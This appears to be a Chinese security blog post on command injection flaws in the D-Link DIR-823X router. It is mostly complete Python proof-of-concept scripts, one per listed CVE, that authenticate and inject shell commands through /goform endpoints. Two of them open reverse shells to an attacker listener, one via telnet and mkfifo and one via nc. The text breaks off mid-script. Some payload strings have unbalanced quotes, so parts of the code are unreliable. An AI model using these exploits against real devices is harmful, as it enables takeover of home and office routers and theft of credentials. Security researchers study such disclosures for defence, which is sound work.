文章总结: 本文深入分析了D-LinkDIR-823X路由器的多个命令注入漏洞,涵盖多个CVE编号并提供了完整的PythonPOC验证代码。作者进一步披露了一处0Day漏洞,可利用备份脚本接口绕过权限直接下载配置文件,从而泄露管理员凭据。文章揭示了该设备严重的安全风险并给出了完整的利用思路。
综合评分: 90
文章分类: 漏洞分析,漏洞POC,IoT安全,渗透测试
DLINK路由器命令注入漏洞从1DAY到0DAY
易之生生
看雪学苑
2026年1月1日 17:59
上海
DIR-823X公布了多了CVE漏洞,都是需要授权的命令注入漏洞。
CVE-2025-11095
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于对文件/goform/delete_offline_device中参数delvalue的错误操作,攻击者可利用该漏洞导致命令注入。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_inject_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/delete_offline_device"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"delvalue": "\' ; ls / > /tmp/ls.log #",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_inject_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-11096
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于对文件/goform/diag_traceroute中参数target_addr的错误操作,攻击者可利用该漏洞导致远程命令注入。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_inject_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/diag_traceroute"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"target_addr": "127.0.0.1;ls",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_inject_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-11097
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于对文件/goform/set_device_name中参数mac的错误操作,攻击者可利用该漏洞导致远程命令注入。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_inject_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_device_name"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"mac": "\' ; ls / > /tmp/ls.log #",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_inject_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-11098
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于文件/goform/set_wifi_blacklists中参数macList的错误操作,攻击者可利用该漏洞导致远程命令注入。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_inject_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_wifi_blacklists"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"macList": ""; ls #",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_inject_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-11099
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于文件/goform/delete_prohibiting中函数uci_del对参数delvalue的错误操作,攻击者可利用该漏洞导致远程命令注入。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_diag_traceroute_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/delete_prohibiting"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"delvalue": "|| ls #",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_diag_traceroute_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-11100
漏洞描述
D-Link DIR-823X存在命令注入漏洞,攻击者可利用该漏洞导致远程命令执行。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_inject_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_wifi_blacklists"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"macList": "" || ls #",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_inject_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-55848
漏洞描述
D-Link DIR-823X存在命令执行漏洞,该漏洞是由于set_password设置界面未过滤http_passwd参数中的特殊字符,攻击者可利用该漏洞导致代码执行。
POC
import requests
import hmac
import hashlib
import re
def extract_cookies(response):
cookie_header = response.headers.get('Set-Cookie', '')
session_id = re.search(r'sessionid=([^;]+)', cookie_header)
auth_token = re.search(r'token=([^;]+)', cookie_header)
return (
session_id.group(1) if session_id else None,
auth_token.group(1) if auth_token else None
)
def fetch_login_page(host_ip):
url = f"http://{host_ip}/login.html"
response = requests.get(url)
if response.status_code == 200:
return extract_cookies(response)
return None, None
def encrypt_password(password, token):
return hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
def submit_login(host_ip, username, hashed_password, session_id, token):
url = f"http://{host_ip}/goform/login"
payload = {
"username": username,
"password": hashed_password,
"token": token
}
cookies = {'sessionid': session_id, 'token': token}
return requests.post(url, data=payload, cookies=cookies)
def send_set_wifidog_settings_request(host_ip, session_id, token, ip, port):
url = f"http://{host_ip}/goform/set_password"
payload = {
"http_passwd": f"1" && ash -c "mkfifo /tmp/meigui1 && telnet {ip}{port} 0</tmp/meigui1|/bin/sh >/tmp/meigui1",
"old_passwd": "admin",
"token": token
}
cookies = {'sessionid': session_id, 'token': token}
return requests.post(url, data=payload, cookies=cookies)
def main():
host_ip = input("路由器地址 (如 192.168.1.1): ")
username = "admin"
password = "admin"
ip = input("你的监听 IP (如 192.168.1.100): ")
port = input("你的监听端口 (如 6666): ")
session_id, token = fetch_login_page(host_ip)
if not session_id or not token:
print("[×] 获取 login.html 失败")
return
hashed_pwd = encrypt_password(password, token)
login_resp = submit_login(host_ip, username, hashed_pwd, session_id, token)
if login_resp.status_code != 200:
print("[×] 登录失败")
return
# 登录成功后重新获取 cookie(有些设备会变)
session_id, token = extract_cookies(login_resp)
if not session_id or not token:
print("[×] 登录后提取 token 失败")
return
# 发起注入利用
exploit_resp = send_set_wifidog_settings_request(host_ip, session_id, token, ip, port)
if exploit_resp.status_code == 200:
print("[√] 利用请求已发送,检查你的监听端口!")
else:
print("[×] 利用请求失败", exploit_resp.status_code)
if __name__ == "__main__":
main()
CVE-2025-11092
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞是有对文件/goform/set_switch_settings中函数sub_412E7C的参数port的错误操作,攻击者可利用该漏洞导致远程命令注入攻击。
POC
import requests
TARGET_URL = "http://192.168.122.150/goform/set_switch_settings"
reverse_shell_cmd = '" | rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.102.145 4444 > /tmp/f"'
try:
response = requests.post(
TARGET_URL,
data={"port": reverse_shell_cmd},
timeout=10
)
print(f"请求发送成功,状态码: {response.status_code}")
print(f"响应内容: {response.text}")
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
CVE-2025-10814
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞是由于/usr/sbin/goahead文件中的缺陷引起的。攻击者可利用该漏洞在系统上执行任意命令。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_diag_traceroute_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_switch_settings"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
